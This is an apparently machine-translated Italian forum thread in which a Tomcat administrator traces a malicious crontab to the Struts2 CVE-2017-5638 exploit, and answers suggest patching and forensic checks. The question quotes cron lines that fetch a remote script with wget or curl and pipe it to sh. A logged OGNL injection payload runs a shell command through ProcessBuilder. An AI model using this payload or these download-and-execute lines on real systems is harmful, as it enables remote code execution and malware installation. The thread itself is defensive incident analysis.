Attacco di script Shell sul server Apache, tramite un cron di origine sconosciuta


8

Durante l'esecuzione di una guerra di progetto sul server Tomcat Apache ho scoperto che il server è stato compromesso.

Mentre si esegue la guerra su uno sconosciuto cronsi corre così

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Il download logo.jpgha uno script shell che sta scaricando un malware.

Ho riscontrato un problema simile su questo sito Web di seguito

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

e

/security/160068/kworker34-malware-on-linux

Non riesco a trovare l'origine di questo cron scheduler in tutto il mio codice.

Cosa vorrei sapere che qualcuno ha affrontato questo problema? e come devo fare per trovare l'origine dello scheduler nel codice.

Nota:

Sto lavorando a un progetto web JAVA (Struts 2) + jsp + javascript + jquery.

Questo programmatore è in esecuzione ogni volta che avvio Tomcat con il file di guerra del progetto, ma non riesco a trovare alcun programmatore per il programmatore nel mio codice.

Ho trovato la seguente riga nei miei file di registro

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

Hai modificato gli accessi Tomcat predefiniti e disabilitato il gestore host?

Intendi l'origine di queste due voci crontab (che sono cron job) o cron scheduler (anche a volte cron demone)? Generi processi o script di shell dalla tua applicazione Java (come Runtime.getRuntime().exec("something"))? Hai un link al tuo progetto?
Jan Zerebecki,

Quando avvii Tomcat senza l'app Java infetta, cron è abilitato?

Come stai avviando Tomcat? Come stai distribuendo l'app? (tramite GUI, script o semplicemente copiando il file .war in webapps?

Ho aggiunto i registri della mia applicazione, per favore dai un'occhiata. Sentiti libero di farmi sapere qualsiasi cosa tu possa pensare riguardo a questo problema.

Risposte:


4

Dopo che OP ha aggiunto i log, diventa chiaro che il problema è nell'exploit di esecuzione di codice in modalità remota per Struts 2 ( CVE-2017-5638 ).

Alcuni link aggiuntivi:

  1. Nuovo exploit di Struts2 Remote Code Execution catturato in natura .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

La soluzione è aggiornare Struts alla versione 2.3.32 o 2.5.10.1.


Grazie per la tua risposta, ma ho già controllato il mio codice per parole chiave come "logo.jpg" e "91 .230.47.40" non sono presenti. Ho aggiunto i registri della mia applicazione, per favore dai un'occhiata. Sentiti libero di farmi sapere qualsiasi cosa tu possa pensare riguardo a questo problema.

2

Ho affrontato problemi simili prima quando ero amministratore di sistema. Penso che devi distinguere se si tratta del tuo server Tomcat o della tua app Java.

Quando avvii Tomcat senza "app Java infetta" viene abilitato il cron? (Voglio dire, eliminando la tua applicazione da Tomcat e avviandola) In tal caso, hai un problema più grande, dovrai verificare gli script di avvio e ogni applicazione distribuita nel server Tomcat.

Altrimenti siamo sicuri che la tua app sia il problema.

In tal caso, vai a:

$CATALINA_BASE/webapps/your_app 

Verifica l'integrità della tua applicazione, ci sono file aggiuntivi che non riconosci?

Ora vai alla directory webapps dell'installazione di Tomcat:

$CATALINA_BASE/webapps/

In quella directory eseguire:

grep -R '91.230.47.40' *

Per trovare il possibile file / riga di codice che causa l'infezione, potrebbe essere un file della tua app o uno nuovo.

Hai il tuo codice in un sistema CSV?

Crea il file di guerra all'esterno del server infetto dal tuo repository CSV ed esegui:

md5sum your_app.war

Rimuovi la tua applicazione dal server Tomcat e esegui nuovamente la distribuzione, verifica che stai caricando la guerra corretta tramite md5, quindi controlla se il crontab viene invocato.

Se fornisci feedback su questi passaggi, saremo lieti di aiutarti.


1
Ho già controllato il mio codice per parole chiave come "logo.jpg" e "91 .230.47.40" non sono presenti, tuttavia i problemi riguardano l'applicazione non il tomcat. Ho aggiunto i registri della mia applicazione, per favore dai un'occhiata. Sentiti libero di farmi sapere qualsiasi cosa tu possa pensare riguardo a questo problema.

2

Dovevamo solo combattere questo tipo di attacco su un server, continuava a riavviare sovrascrivendo crontab per il nostro utente Tomcat come descritto sopra. L'indirizzo IP era identico. Grep dell'intera directory webapps per l'indirizzo IP non ha rivelato un colpevole.

Nel nostro caso non usiamo gli struts, ma avevamo le app "host-manager" e "manager" nelle webapp e avevamo JMX abilitato / porta aperta. Il riavvio senza quelli sembra aver risolto, quindi il mio sospetto è che la vulnerabilità potrebbe essere in una di quelle. In particolare, c'era una vulnerabilità di JMX risolta in 7.0.73 che potrebbe essere il nostro colpevole ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Un'altra precauzione che stiamo prendendo ora è limitare l'accesso a wget e chmod solo al root (basta fare chmod 770 su quei binari).

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.